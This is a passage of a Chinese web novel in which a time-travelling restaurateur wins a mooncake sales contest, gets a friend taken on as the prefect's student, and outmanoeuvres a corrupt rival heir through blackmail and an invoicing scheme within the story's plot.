今日嫦娥和吴刚都在,嫦娥仍旧带着面纱,冷冷的看着大家,吴刚却维持着秩序,一面走一面喊:“各位客官放心,青华楼按照礼卷准备的礼品,只多不少,保证能让大家伙都兑到奖。对仗诗句,或者三十名好汉卡,可以兑换惊喜礼物,整首词或者集齐一百零八好汉卡,可以兑换终极大奖,还没集齐的再拼一拼!” 大家伙一边排队,一面听青华楼伙计推销,不到中午,最后三千多盒月饼一销而空。 全部人员加入兑奖的行列,速度快了很多,接下来便是揭秘神秘大奖的时候。 揭开礼盒的那一瞬间,顾客们沸腾起来,这是什么? 形如脸盆大小,淡青色的外观,四周贴了荷叶莲花,上面活灵活现竖着一颗翠绿的桂花树,树下的白兔,抱着一颗碧绿的果子在啃,甚至能看清它的红眼睛,嘴边的胡须。 实在太精致漂亮了。 刘青青感受到大家的激动,完全不意外,毕竟,蛋糕的颜值,实在太能打。她提醒兑奖的顾客:“这个必须两天内吃完哦,不要久放!” 啥,这还能吃?看着就这么漂亮,不晓得吃着是什么味道? 能集齐对仗诗句和人物卡的客人,换走蛋糕后,小心翼翼护送回家,生怕一不留神,被旁人抢了去。 等了好大一会,没有人来兑奖,围在展厅外的顾客眼巴巴的盯着,刘青青揭开了盖着终极大奖的布条。 是一份好事成双果篮? 扎着彩带的果篮里,下面一层是红彤彤的石榴,第二层是粉嫩嫩的桃子,最上面是两串没见过的果子,和葡萄差不多,却比葡萄大了两个个头。 每一个果子形如雀卵,却碧绿如翡翠,圆润晶莹。 看到大家失望的神色,吴刚顶着果篮,用大嗓门喊开了:“这是我们青华楼讴尽心血,历时十年,培育出来的阳光青提,种了十亩,只成功了一棵。 和普通的葡萄不一样,是葡萄中的贵族。一年300天享受阳光的照耀,无核无心,从此不用吐皮吐核,一口咬下,甜脆多汁,比初恋还要甜蜜……” /:. 顾客们笑疯了,有人打趣:“吴刚,比你的初恋嫦娥还要甜么?” 吴刚呵呵一笑:“甜,甜到心里的甜!” 行吧,韩三奇颠颠捧出自己掏空荷包凑齐的词,兑换了一提果篮,迫不及待的摘了一颗阳光青提,塞到嘴巴里。 马上他浑身的汗毛都舒展开来——太好吃了! 他学的诗词这这一刻都不足以描述其中的美味。 不愧能当终极大奖,色香味俱独一无二。 果子色青华翠,美丽诱人,自带滤镜。 初闻是自然的果香,轻轻一咬,皮薄无涩,混着阳光和鲜花的甘甜滋味,飘散开来,不像葡萄滑软,自带甜脆,却肉质细腻,嘴巴轻轻一抿,芳香晕绕于唇齿间。 他几乎感动得落泪,这是他这辈子吃过的,最美味的果子,集齐了他对果子的所有幻想。 众人一看他那表情,还有什么不明白的,可惜手里缺了几张,不能集齐卡片。 不停的询问刘青青:“我们可以花钱买么?” 刘青青微笑着拒绝:“实在不好意思,我们准备奖品的时候,是按照月饼盒子里的奖券设置的,卖了后,获奖的客人就不能兑奖了,实在抱歉!” 所有人拉长脖子等啊等,等得太阳落山,刘青青也有些心焦,奇怪,她设置奖券的时候,准备了十份终极大奖,五十份神秘大奖,三万份心意礼物,等到现在,还剩4只果篮,二十三个蛋糕,五千多个鸡蛋。 夜幕四合,圆月爬上树梢,其他展厅已经全部开始拆除展厅,边上的青华楼烛火通明,外面还滞留了许多客人,耐心眼巴巴的等着,他们心里有个小愿望,万一没人来兑奖,那是不是就能卖给他们了? 离衙门规定的时间,只剩一个时辰,刘青青无奈:“获奖的客人也许今日有事没来,但我们的礼品都是吃食,不能久放,今日便分给大家!” “你们说,该怎么分?切开来一人分一口么?” 有些人不愿意了:“汰,这么多人,一人一口哪里分得过来,我看价高者得之!” 最后大家统一了意见,从果篮开始,进行拍卖! 吴刚爬上桌子,一手举着果篮,一手把月亮灯凑到青提面前,柔和的灯光让青提越发美丽诱人:“走过不要错过,人间美味阳光青提,感受初恋的味道……” 还没等他讲完,下面已经开始喊价:“我出1两!” “2两!” “10两!” 一个胖子做员外打扮的中年男子,得了这提果篮,小心翼翼捧着离场。 后面每一只果篮都卖出了天价,分别以8两9两13两的价格成交。 接下来便是蛋糕,平均以每盒1两的价格成交,最后是鸡蛋,平均以每只20文的价格成交。 拍卖剩余的礼物,合计赚取了163两银子,刘青青赶在最后一刻,到府衙那里开了单。 遇仙楼的周掌柜在自己展厅里,打发身后的伙计去告诉少东家,“众望所归,销售额最高的依旧是遇仙楼!” 他浑身喜气的招呼身边的几个二掌柜,安排他们去通知,待命的泥瓦匠,立刻动工装修中秋晚会的舞台。 身边围了一圈的掌柜,大家都有自己的消息渠道,虽然没宣布结果,但该知道的 ,已经知道了。 遇仙楼成交额46500,青华楼成交额46400,遇仙楼以多卖100两银子博得头筹。 大家羡慕的对他道喜:“遇仙楼不愧是我们的领头大哥,今年得第一,实至所归!” “哼,好叫有些土包子知晓,不是什么猫猫狗狗都能得第一的!” “长乐坊竟然将与遇仙楼和青华楼的赔率提到同样高的一比二,看看,现在知道了吧,还是我们遇仙楼厉害!” 周掌柜在大家的恭维下,面上欣喜,心底有些发虚,别人不知道自家的事,自己还不知道么,后面少东家找了许多托来买月饼,换句话说,后面卖出了少部分的月饼,大部分的月饼都是自己人买的,还在遇仙楼的仓库里堆着呢。 不过幸好,拿到了今年的冠军,一切都是值得的。 正在这是,知府大人敲锣打鼓,这是着急大家到门口,宣布今年的冠军,发布奖励。 大家围了上去。 卢雪樵站在高台上,面无表情看了下面的众多掌柜,大声道:“我宣布,今年的月饼冠军是,———————— 常平县青华楼!” 第82章 第82章拜师 被伙计请来的薛文豪面带矜持微笑,手里握着早早写好的获奖感言,迈出了一只脚准备上台说几句,耳朵里却传来了不敢置信的声音。 今年的月饼冠军是————————常平县青华楼! 怎么可能? 他脚下踉跄了一下,在身边小厮的掺扶下稳住身形…… 他面色瞬间下沉,眼底都是阴翳,盯着身边的周掌柜:“怎么回事?” 周掌被他阴冷的眼神吓得打了个寒战,懵逼解释,“今日衙门里传来的消息,我们就是第一名啊!” 薛文豪抿着唇背手退后一步,对他使了个眼色。 周掌柜赶忙上前,顾不得擦擦额头的冷汗,高声提醒:“大人,算错了,我们才是第一!” 卢雪樵淡淡看他一眼:“哦,你怎么知道算错了,难道你能提前看到官府的账本?” 周掌柜冷汗冒得更多了,窃取官府的账本算是盗取国家机密,要是被坐实了这个罪名,牢狱一年游逃不掉。 他急忙解释:“大人,哪里用看账本?这不是明摆着的么?” “我们家卖了46500两银子,青华楼88文卖了20万盒,100文的卖了30万盒,合计46400两银子。” 卢雪樵冷哼一声:“你是怎么知道青华楼卖了50万盒月饼的?难道,你们买通了青华楼的账房?” 三大酒楼,高高在上,买通不少官吏,将衙门弄得像筛子,还互相报团,给他使了不少绊子。每年的鹿鸣宴费用虚高,今日被青华楼打下神坛,活该。 刘青青适时出声:“大人,我要状告遇仙楼窃取我们青华楼的机要!” 卢雪樵赞赏的看了她一眼,不愧今年的冠军,脑子果然好使,立马给他搭梯子。 周掌柜都要哭了,急急忙忙解释:“大人,我们没有,是,是,我算出来的!” 薛文豪看不下去了,周掌柜越活越糊涂,扯这些无关紧要之事作甚。 扒拉开周掌柜,亲自下场,将话题带回正题:“大人,大家伙一个广场卖月饼,互相找伙计盯着呢,卖了多少银子一清二楚。” “所以,请大人解释一下,遇仙楼明明比青华楼高100两,为何没得到冠军,难道,有什么不能见光的!” “我们遇仙楼虽是普通的酒楼,但也不是怕事的,若受了不平,我是要去上京敲鼓明冤,讨个公道!” 广场上静悄悄的,大家伙心知肚明,薛文豪是薛阁老的庶孙,虽然是庶出的,那也是人家的血脉。 这话表面鸣不平,但那嚣张的态度和威胁的语气,只差把巴掌直接拍在卢雪樵的脸上。 知府大人气笑了,别人怕他薛家,他卢雪樵可不怕。 谁让他的座师是另外一位阁老呢。 卢雪樵眼神都懒得给他一个,大声宣布:“今年的月饼大赛冠军,青华楼,刘小东家,请让来领奖!” 他的语气和蔼亲切,笑容如沐春风,把那边的薛文豪完全当成了空气。 被无视的薛文豪脸色胀得发紫,气得咬牙,他长这么大,还没有谁,敢这样无视他。他奈何不了卢雪樵,还收拾不了青华楼么? 他阴沉着脸堵在刘青青面前道:“只要你敢上去,我让青华楼三日内倒闭!” 刘青青翻了个白眼,这人脑子有病吧,真当她好欺负呢。 她轻飘飘丢了一句:“先把屁股擦干净吧!” 绕过他,颠颠上台,领过卢雪樵手里的最美月饼牌匾。 小娘子高举牌匾,清了清嗓子,一点也不怯场:“在这里卖月饼的七天,我感受到了府城人民的热情好客,感谢衙门,感谢各位同仁给予我们下属区县的关心和支持,让我们创下了46563两银子的成交额,在这里衷心的对你们说一声感谢! 诸位请放心,我们一定把中秋晚会办得热热闹闹,鹿鸣宴办得体体面面。” “为了感谢各位,我们青华楼决定,青华游乐园开业前三天,只要是我们南安府的百姓,一律免门票。” 下面一片叫好声,对那个青华游乐园更好奇了。 薛文豪脸上变幻莫测,什么叫46563两银子,不是说46400两么? 卢雪樵似笑非笑看了他们这边一眼,朗声道:“账房按照惯例,在夕食的时候结账,此时确实是遇仙楼最高。 但是,天黑以后,青华楼又有了163两的成交额,所以,这次大赛,青华楼成交额最高,荣获冠军!” 周掌柜嗫嚅着嘴唇,青华楼最后兑奖他是知道的,不晓得哪来的163两。 一个有眼色的二掌柜凑上去:“他们的奖品剩了许多没客人来兑,竞价出售!”他混在人群中抢了十个香香鸡蛋带回家,别说,家里学说话只会喊娘的儿子,喂了一个香香鸡蛋后,终于愿意叫他爹了,喜得他晚饭多吃了两碗。 薛文豪冷喝:“他们违反规矩,月饼大赛只卖月饼,不可以卖其他东西!” 周掌柜白着脸,扯了扯他的袖摆,:“公子,我们跟着做盲盒吸引客人,也塞了些小玩意进月饼盒子里!” 薛文豪后面的话像被捏住脖子的鸭子,顿时消音,噎得差点一口气没上来, 他做了什么孽,丢这么大的人。 恼怒之下,他一脚将周掌柜踹得三米远:“没用的东西!”甩袖离开。 周掌柜慌忙追了上去。 剩下的掌柜们既羡慕,又佩服青华楼。羡慕的是他们能一鸣惊人,以郊县的身份参赛,竟然拿到了冠军。 佩服的是,青华楼竟然敢和遇仙楼叫板。 大家嘴里和刘青青道喜,但彼此间挤眉弄眼,幸灾乐祸,也不知道这青华楼在遇仙楼的报复下,能挺几天。 刘青青一点也不在乎,她借着搭建中秋晚会舞台,忙着和卢雪樵拉近乎。 “卢大人,舞台我们青华楼也能表演一个节目么?” 按照往年的惯例,晚会是他这个知府领着民众,拜月祈福后,府衙下属各部出一个节目,都是些大老粗,一般都是凑钱请戏院来表演,既然刘青青有心,也不是不可以。 他提起几分兴致:“表演什么节目?” 刘青青把身后的嫦娥叫出来:“表演唱曲,您先过过耳,看行不行?” 广场地方嘈杂,卢雪樵嗯了一声,领着他们进了知府衙门、张和指挥着工匠赶工搭建 舞台,看着与卢雪樵相谈甚欢的刘青青,尾随在后的郭守云和嫦娥,心里不是滋味,他在府城混了两年了,和知府大人话都没说过一句,但刘青青才来了七天,竟然能成为知府大人的座上宾。 他迷茫了,难道真的是他蠢么? 不过,看见那边哭丧着脸,给工匠结钱的周掌柜,他心情又好了许多,他至少比周掌柜聪明。 不是他蠢,是刘青青太聪明。 府衙的一间小厅里,桌椅简洁大方,门外的常见的花草隔离了广场的喧嚣,卢雪樵静静的听着。 嫦娥的空灵之声响起:“明月几时有?把酒问青天。不知天上宫阙,今夕是何年?……” 一曲唱毕,满是寂静,卢雪樵回味了半响,拍掌而喝:“好!曲好,词更好!”他终于明白韩三奇为什么把荷包都给掏空了,这样的好词,谁不心折呢。 他迫不及待追问刘青青:“这词是你写的?” 刘青青哑然失笑:“大人高看我了,我哪里有这个能耐。这是我们家乡,一位名叫苏轼的隐士写的,他过世后,书稿才被流传出来。” 卢雪樵不信,但看她真诚的样子,又不像说谎。 刘青青递给他一份手稿,卢雪樵接过一看: “林冲千里奔袭取敌首!” “鲁智深拳打金将马!” “和亲公主一统草原!” …… “大人,写明月几时有的隐士已经过世,但写这些话本的小子,就在你面前,你要不要收他作学生?” 郭守云被她推到前面,虽然紧张,但迎着卢雪樵打量的目光,依旧笔直得如同路边的小白杨。 来之前,阿青交代他,不许多说话,大人问他什么就老实回答。 卢雪樵不敢相信,这么多精彩的故事,竟然是面前这个沉默寡言的少年写的。手稿上的字体稍嫌稚嫩,但这样的故事,心中没有大丘壑,是写不出来。 他根本没想过,这是别人写的,笔尖能描摹出这样精彩、一波三折的故事的人,定然不会平平无闻当枪手。 谁能想到,这些故事的原形在另外一个时空传颂了千年,被刘青青这个穿越人士弄过来,结合当下,改动而成。 郭守云想了想,点点头:“是我写的。” 刘青青念着,他写的,他没撒谎。 迎着他清正的眼光,卢雪樵惜才之心顿起,拍着他的肩:“少年英才!你可愿意作我的弟子?” 郭守云还没反应过来,就被卢雪樵看中作弟子。 他感觉卢雪樵好似,因为他写了那沓手稿才收的他,隐隐觉得有些不对,正要说这是刘青青的故事,却被刘青青紧紧的掐着手,将他推到卢雪樵面前,双膝跪下,行了叩拜大礼。 稀里糊涂的,郭守云成了卢雪樵的徒弟。 刘青青一脸不舍道:“师父,我们过了中秋节便回常平,过年过节,一定来看望你老人家,你千万莫要把我们忘记了!” “这是何意?”他卢雪樵好不容易捡了一颗好苗子,不放在身边培养,难道眼睁睁看着它荒废,都顾不得他收的徒弟是郭守云,却被刘青青叫师父。 刘青青苦着脸:“师父,不是我们不想留在府城,只是薛文豪放了话,三日内叫我滚蛋,我们乡下来的,哪里斗得过他?” 第83章 第83章小崽子 卢雪樵脸上的笑意淡了几分:“所以,你们把我顶出去,替你们出头?” 好不容易收了个徒弟,可惜心术不正啊。 刘青青连忙解释:“哪能啊?我已经有法子收拾薛文豪,让他不敢放肆。只是我担心他使坏,找人破坏鹿鸣宴。” “师父,您先看看这份材料。” 她从怀里掏出一份书稿,恭敬的递了过去。 卢雪樵接过,扫了一眼:“青华游乐园计划书。” 名称:青华游乐园 目标:让全大赵国的百姓,到南平府游玩 地理位置:南平府南城门外二里 总体规划设想:覆盖成人、孩童玩乐,集合吃穿住行的大型园区,凸显南平府美食文化,民俗文化 项目:金国杀真人实战体验园,动物园,种植采摘园,水上乐园,空中乐园,美食小镇,主题客栈等。 初略估计:招聘南平府一千名伙计 纳税:每年预计纳税一万两 卢雪樵看到纳税一万两这几个字,瞬间呼吸炙热了几分,还能招收1000名伙计,这不是简单的一千人,这代表着一千个家庭的衣食无忧,而他们的家庭在吃喝拉撒的过程中,又养活了更多的人。 舍得花钱来游玩的人,定然家有余粮,相当于让富户心甘情愿从口袋里掏钱,流通到市面上,再分散到穷人的手中,不仅拉动了南平府的经济循环,还能改善南平府的治安问题。 月饼大赛是卢雪樵上任后办大的,这几年越发红火,隔壁南川府都有人慕名而来。 为什么是衙门统一开单呢,衙门要通过大赛,收取百分之十的坑位费,这笔银子用于补充衙门的公共开销,比如修个路哇,府学多点补助之类。 通过总总举措,刘青青勾勒出卢雪樵性格,这是一个有想法,有魄力,真心实意想改善民生的官员,这样的官员,便是她心目中的好官,她觉得,卢雪樵一定能感受到青华园这个项目实实在在的好处。 青华园现在还是蹒跚学步的婴儿,脆弱无助,一阵歪风就能将它吹倒。刘青青希望能得到卢雪樵的庇护,等青华园强大后,再反哺这些肯干的官员。 所以,她厚着脸皮用了苏轼的词,昧着良心改编了水浒,只为了让卢雪樵看到青华园,接纳青华园,成为青华园的一分子。 其实,她还有更多的选择,她还可以选择遇仙楼合作,只是,她实在看不上薛文豪的人品。 薛家家大业大,嫡子孙走科举之路,庶子庶孙打理家族产业,遇仙楼借助着薛阁老的东风,在全国各州府遍地开花,整个家族富得流油。 那日,遇仙楼将月饼价格调回去,确实震惊了她,提前一个月提价再打折,这个是常规操作了,但已经开卖了三日,大家对价格心知肚明,降价了再调高这种骚操作,她两辈子也只见过这一回,反常的是,遇仙楼竟然还宾客盈门。 她让郭守云找他的狗朋友打探了一下,是真的够朋友。 狗狗们不明白人类肚子里的弯弯绕绕,可是它们知道薛文豪的行踪,带着郭守云走了一遍推测出了真相。 那厮竟然请托。 雇人自己买自己的月饼,只为了得冠军,那些月饼都还在他们仓库里堆着呢。 刘青青算了一笔账,遇仙楼前三日大约卖出了10万盒,打折卖出24万盒,毛利在3万两,去掉成本和坑位费,约摸盈利1万6千两,其实没那么多,遇仙楼跟着弄盲盒,临时添加了成本,估计1万5千两左右。 但是,全部月饼的成本已经在2万两,提价这一项举措,让遇仙楼不赚钱不说,还至少亏本5千两。 刘青青百思不得其解,实在不明白其中关窍。 直到那日,她去盘口为青华楼押注,不经意看见薛文豪的小厮挤在人群中下注,她灵光一现,找到赌坊的管事,塞了厚厚的红包,才知道,薛文豪弄了个假名字,为遇仙楼投了三万两银子。 他为什么遮人耳目弄假名字,说明投注这事,是他自己的行为,不是遇仙楼的。 往年遇仙楼的赔率才1比1.1,今年因为青华楼,遇仙楼的赔率一度攀升到1比2,薛文豪悄摸摸投了三万两,若遇仙楼赢了,他便有6万两,空手套白狼得三万两。 换句话说,遇仙楼是薛家公中的,薛文豪出任南平府分店的ceo,他这是损害公中的利益,为自己某私房钱。 所以,刘青青一点也不怕他,谁让她抓住了他的尾巴呢? 要是把这事捅到上京的薛阁老面前,不晓得薛文豪,还能不能再让她,三日内滚出南平府。 刘青青面对卢雪樵的探究的目光,又送上了一分干股契 书:“师父,一日为师,终身为父,这是徒儿为您准备拜师礼,您请收下!” “薛文豪那个小崽子,哪里用您出手,您只管看好了,三日内,我把他收拾得服服帖帖。” “您就是我们的主心骨,由你掌握着大方向,我们的青华园才能走得更远。” 卢雪樵打开契书,上书他入股二万两,每年南平府青华园红利能分到百分之十。 他神色纠结,确实看好这个项目,又看不得刘青青那一副小狐狸的模样,随意将契书丢在了一旁的小几上,淡淡道:“等你把薛文豪这个小崽子收拾好了,我们再谈其他!” 刘青青大喜,他没有一口拒绝,这便代表有戏。 两人在门口遇到等得不耐烦的张和,他急不可耐凑上来:“知府大人有何指示?” 刘青青:“没什么指示,大人同意让嫦娥姑娘代表我们青华楼唱一支曲。” “哦,还有,大人同意,收下阿云为学生。” 张和神色莫名的打量郭守云,就这个,普普通通的乡下小子,连私塾都没读过,全靠另一个农家小子教导了几月,竟然被卢知府收作学生,莫不是骗人的罢。 不过,看到追出来的卢知府的小厮,塞了一摞书给郭守云:“大人说:把这些书读熟,十日后考教,若功课做不完,趁早滚蛋!” 张和凌乱了,刘青青到底是怎么做到的,让卢知府收下郭守云! 他也想要这样的未婚妻。 他眼热的凑上去,刘青青早就拉着郭守云,兴致高昂的上了马车。 张和气得跺脚:“……” 啧,又把他丢下,在这里守着搭舞台做苦力,两人去潇洒! 马车一路颠簸直到城外的一个庄子,刘青青敲响了门:“薛文豪在么,我找他有事!” 且说薛文豪,确实在庄子里,周掌柜在一旁巴拉巴拉请示他仓库里的月饼怎么办? 他焦躁的把手中的青瓷盖碗摔了个碎,现在是那几个破月饼的事情么,是他悄悄挪了账上的三万两银子,怎么平账的事! 听说刘青青上门,他阴沉着脸:“她还敢来,抄家伙!” 看到花厅里两旁手持棍棒虎视眈眈的家丁,刘青青丝毫没反应,牵着郭守云的手,两人步履轻快走进花厅,直接坐到了主位。 “哟,薛大少,我来给你送银子,你就这样对待客人啊?” 听到送银子,薛文豪脸上变幻莫测,想起自己的三万两,深吸几口气后:“来人,上茶!” “说吧,你怎么个给我送银子法?” 刘青青看了一眼四周,似笑非笑:“你确定要我现在说?” 四周的家丁伙计表面都正襟危站,但悄悄竖起的耳朵,无一不显示着他们对谈话内容的好奇。 薛文豪摆摆手,家丁们意犹未尽叹了口气,听不到八卦了呢。 作鸟兽散开,周掌柜依旧立在一边。 刘青青淡淡吐出两个字:“月饼,下注!” 薛文豪不淡定了,从椅子上跳起来:“不要说了!” “周掌柜,你下去叫厨房准备一桌宴席,上等的,我招待刘东家!” 周掌柜表示很受伤,他是薛文豪的心腹,为什么公子把他也打发走。 磨磨蹭蹭半天没走远。 薛文豪怒了,顺手又砸了一个盖碗到周掌柜的脚后跟:“你干脆改名叫周蜗牛,滚快点!” 等花厅里空无一人,薛文豪惊疑不定:“你什么意思?” “就是你想得那样,我知道了,还写了信,若青华楼有个万一,自然有人帮我把信寄到上京。” 薛文豪强撑着面皮:“你写信关我何事?” “哦,是么,也是,薛家家大业大,损失了几万两,是毛毛雨哈!” 薛文豪撑不住了:“行了,不用再说了,你欲如何?”薛家是不在乎那几万两,但利用职务谋私,挪用公款,他肯定要被惩罚,关个祠堂算是轻的。他不怕跪祠堂,就怕被拉下马。一个萝卜一个坑,家里还有七八个兄弟,眼巴巴等着上位呢。 刘青青笑笑:“我为你排忧解难来了,你手里的月饼,我吃下,如何?” “一盒十五文。” 薛文豪跳脚:“你想得美,我们家的月饼精心制作,一盒成本都要三十文。” “那你快去街上卖啊!” 薛文豪:“!!” 这些月饼见不得光,他怎么卖! 半响,终是咬着牙道:“行,要现银,库里有16万盒月饼,你尽快搬走!”能弄一点银子是一点,想办法把账平了,他再找刘青青秋后算账。 想洗干净,没门。 刘青青勾勾手:“还想不想要更多的银子?” 第84章 第84章吸粉 薛文豪面无表情:“我手里没有货能卖给你!”他很缺钱,遇仙楼库房里还有很多值钱的食材,比如燕窝,干海参之类的,那些全部登记在册,放不坏,出卖暴露风险太大。 刘青青若有所思:“那我卖给你如何?” “野生菌即将下市,我手里还有最后一批,味道么,吃过的没有不说好。” “特别是松茸菌,口感鲜美香甜,可生吃,可炒,可煮,可炖。唯一的缺点,便是贵。” “尤其适合你们家这样高端大气上档次的酒楼,相信能为你的酒楼吸引一大批回头客。” “怎么样,心不心动,是不是来一万两的订单?” 薛文豪嗤笑:“之前我遇仙楼,没有你口中的松茸菌,仍旧是府城的第一酒楼!我凭什么要自找麻烦,上新款啊!” “凭我们知根知底,你定了一万两的货,我愿意帮你开三万的单。”刘青青似笑非怼了回去。 薛文豪倒吸了一口凉气,嘴唇张张合合,半响干巴巴道:“价格与市价差得太多,不妥!” 刘青青冷笑:“松茸菌集天地精华,入口鲜香甜嫩,滋阴补阳,有市无价,是最高端的食材,可惜生长于罕无人烟的深山老林。 你与其他酒楼东家抢得头破血流,屈尊降贵亲到山野之地,才得了一批,小心翼翼运回府城,可惜走漏了风声,在常平县到府城的河道上遭遇水匪伏击。 经过你殊死搏斗,受了重伤,终于保住了货物,水匪恼羞成怒,一把火烧了你的船,你用了最后的力气,将三分之一的箱子抢上岸,剩下的三分之二,随着大火和沉船一起,永远没入了打着旋涡水流端急的南平江,如何?” “你是说,滥竽充数,弄点其他东西放在箱子里,是么?” “这计划行不通,水匪不会帮忙的。” 刘青青不屑道:“你晓得水匪长什么样子?” 薛文豪摇摇头。 “那不就成了,大家都没见水匪的样子。诺,你那些杵在外面的手下,蒙个面穿几件水匪的衣裳,不就是现成的水匪么!” 她这是明晃晃的栽赃陷害。 薛文豪感觉打开了新世界的大门,水匪又不能找人对峙,这口黑锅是背定了。 他又恢复了雄心壮志,立刻拍板:“行,订二万两银子的菌子,但你要开六万两银子的单给我!” 平了3万两银子的公账,他还能落下一万两。 看他一脸的跃跃欲试,刘青青好心的提醒:“这计策只可以用一次,第二次用,总店派人来查,你只怕要吃挂落。” 雁过留痕,只看上面想不想查而已。 五六万银子的账,她估计遇仙楼总店那边,不是太上心。薛文豪贪财又心黑,这样的优秀有想法的小蛀虫,希望他能在南平府遇仙楼的CEO上,万古长青。 至于被扣了黑锅的水匪,报仇也报不到她头上。 薛文豪生怕刘青青不和他一起唱戏,立马写契签子盖印,给了她一万两银子的定金,。 下欠的一万两银子,交货时一手给钱,一手给货。 他提着食盒,满脸春风送两人出门,差点惊掉了家丁们的下巴,毕竟刘青青才上门的时候,薛文豪让他们抄家伙。 大家对这两人很是佩服好奇,不晓得他们是怎么把这个上京来的纨绔毛给捋顺的。 刘青青收好银票,打开食盒。 薛文豪留两人用饭,她已经达成目的,懒得看他那张蛀虫脸,提着食盒和郭守云上马车回城。 若讲享受,他们这些山野之人,拍马也赶不及出生豪门的薛文豪,难怪他缺钱,看看他准备饭食,当然,这是走公账。 两大碗绿莹莹的碧畦香米饭,一碗冒着热气的米酒清蒸鸭子,一叠胭脂鹅脯,还有一碗虾丸鸡骨汤,另有一叠奶香松瓤卷酥。 胭脂鹅脯明媚红艳,米饭蒸得粒粒分明,冒着淡淡的油光,淡黄色的蒸鸭上,点缀着翠绿的葱花,金黄的卷酥上沾染了白色的梅粉。 清蒸鸭子蒸得烂烂的,被米酒逼散了腥味,入口即化,嗯,这道菜适合那些牙口不好的老大人,她不是很喜欢。 最让她欢喜的便是那碗虾丸鸡皮汤。 将虾子蒸熟剥壳后剁碎团成丸子,配上青笋,用野鸡骨汤煨熟,橙红的虾丸躲在翠绿的青笋中,赏心悦目,尝了一个,虾子的鲜香在 唇齿尖散开。 但她一直认为,活虾清蒸,一边剥壳一边蘸点香醋,味道才是最佳。 不过,这些豪门大族怎么可能在餐桌上剥一桌子的虾壳呢,那是他们这些粗鲁的乡下人才会做的事情。 她喜欢吃虾子,郭守云也爱,虾丸带着水产特有的鲜香,但又没有刺,两人比赛,一口一个,三两下就把虾丸捞干净,再把汤汁倒在米饭中,肚子便撑了个饱。 剩下的菜,刘青青收回食盒,准备晚间热一热做宵夜。 回到城里,张和怨念的看着他们:“你们终于回来了,走走走,我请你们吃饭!”他饿得两眼发昏。他的日子比刘青青她们精致,这是现在他唯一能拿的出手的东西了。 两人对视了一眼,刘青青:“薛文豪请我们吃饭,我们赶着回来,他准备了一个食盒,车里还有些,我们准备留着作宵夜,你要不要先垫吧垫吧?” 张和原地凌乱了,不是,薛文豪放出豪言让刘青青三日内滚出府城,恨不得生吃了刘青青,这突然就亲自准备食盒,画风不对,中间发生了什么? 面对他的疑问。 刘青青弹弹手里的一沓银票:“没干什么,我买下了他手里剩下的月饼,他投桃报李,订了我们家的松茸。青华楼和遇仙楼达成了友好的合作关系,以后大家都是好朋友,不再针锋相对了。” “最近的钱庄在哪儿,这银票面额太大不方便,到处都要用银子,我们去全部兑掉。” 张和犹自不信,吹牛的罢。 他给两人指了路,一边吃着遇仙楼要排队,才吃得到的招牌点心奶香松瓤卷酥,一面在怀疑人生,薛文豪态度转化如此之大,难道刘青青会迷惑人的妖法不成? 刘青青看到食盒里没有动过的胭脂鹅脯,配点小酒最好。将自家的青华纯酿,还有卤鸭脖装了一食盒,打发郭守云给卢雪樵送去。 胭脂鹅脯是遇仙楼要预定才吃得上的招牌咸菜,她送过去,卢雪樵应该明白她的意思。 不一会,郭守云回来,给了她二万两银子的银票:“师父尝了鸭脖后很喜欢,说入股契书他收下了,这是入股的银子。让我们重新准备拜师礼,要吃的。” 刘青青大喜,卢雪樵这是同意罩着青华园,而且师父有原则,不愿收钱。 将心中最大的忧虑去掉,刘青青让张和按照她给的方案,在这里守着搭建舞台,她忙着回去处理从薛文豪那里低价弄来的月饼。 八月十五,天才擦黑,府衙广场上张灯结彩,不同颜色的彩灯,将广场装扮得如梦似幻。 高高的舞台上,府衙大人领着府衙一干人,拜月祈福。 愿尔阖家欢乐,愿尔家圆事圆济沧海,财源福源紧随同。 …… 祈福完毕,他领着众人退场,嫦娥从天而降,清越的歌声传遍角落。 “明月几时有,把酒问青天…… 但愿人长久,千里共婵娟!” 当她唱歌的时候,地面升起了丝丝白气,将舞台衬托得如同仙境。 那是刘青青摆在台上的冰盘散发的寒气。 舞台的四周被刘青青用纸张做了许多喇叭形状的花朵,看着赏心悦目,而且具有放大音效的功能。 掌声铺天盖地而来,台上的嫦娥压了压手,她轻灵的声音再次响遍每一个角落:“青华园祝愿大家,日日顺心,事事如意,我们青华园中再会!” 中秋晚会集中了无数的百姓,流量大大的有,刘青青再次为没开张的青华园造势,让百姓们对青华园充满了好奇。 唱完歌的嫦娥并没有离场,而是和吴刚在广场外,摆了一个摊,售卖伴手礼。 “我们青华园回馈各位新老顾客,只要十八文就能买一个月饼哦! 大家伙尝尝,绝对划算超值,带回家作糕点,作宵夜,恰恰好。” 刘青青把从薛文豪那里弄来的月饼,拆开重新独立简单包装,换成印着青华园的油纸,卖十八文一个。 这是实实在在的划算,虽然是油纸包装,没像之前那样精致的木盒,但是,实在太便宜了哇,而且口感竟然还不错。 要知道,广场上的月饼,最少都是打八折,也就是说,一个月饼要40文,而刘青青这个月饼,只要40文的一半还少两文。 在外围看晚会的,大多数是日子不太宽裕的百姓,得知这个实惠,奔走相告,全部围在他们的摊位前抢购,晚会还没结束,刘青青手里的月饼,再次清空。 这部分百姓往年舍不得买遇仙楼的月饼,今天吃到了,只觉得青华楼的月饼意外好吃,对青华园充满了好感,评价极高:他家的东西,实实在在,物美价廉。 青华园在百姓中,又吸了一波粉。 涵盖了各层阶级。 而主事人刘青青,正和各家掌柜结账,计算这次月饼大赛赚了多少钱? 第85章 第85章还乡 八月十六,刘青青从盘口里兑奖出来。 前期赚了钱,她在盘口了投了青华园1万两,这个时候赔率已经降到了1比2,只兑到2万两,要知道,一开始青华园的赔率是1比5呢,可惜那时她手里没有银子。 卖酒得的6千两,她只带了1千两来府城,剩余的全部留在常平县作流动资金。 也就是说,这次府城之行,毛利46563两,接手薛文豪手里的月饼,赚了4千两,支付了同来的各家掌柜的货款,张和的本钱,坑位费,还有聘请清倌人嫦娥,说书先生吴刚,包装月饼费用,制作卡片费,人工等费用,购买青华园后,净利润2万6千两,加上卢雪樵入股的2万两,薛文豪订货的1万两,赌金1万两,她总共凑齐了6万两,全部投到青华园的建设中。 剩余的6千两作为流动资金带回县城。 每年的乡试原本是在八月初八举行,今年北方金人犯境,朝廷上和战之争炒得热闹,将乡试的日子推迟了两个月,十月初八才开始,预计十月十六放榜。 鹿鸣宴在放榜的次日举行。 所以,刘青青还有两个月的时间准备。 她叫来张和,思考半响才道:“给你个机会入股青华园,2万两占百分之10,愿意么?” “有个要求,必须以你自己的身份入股,而不是你们家族的,而且,你必须严格执行我的每一项措施。” 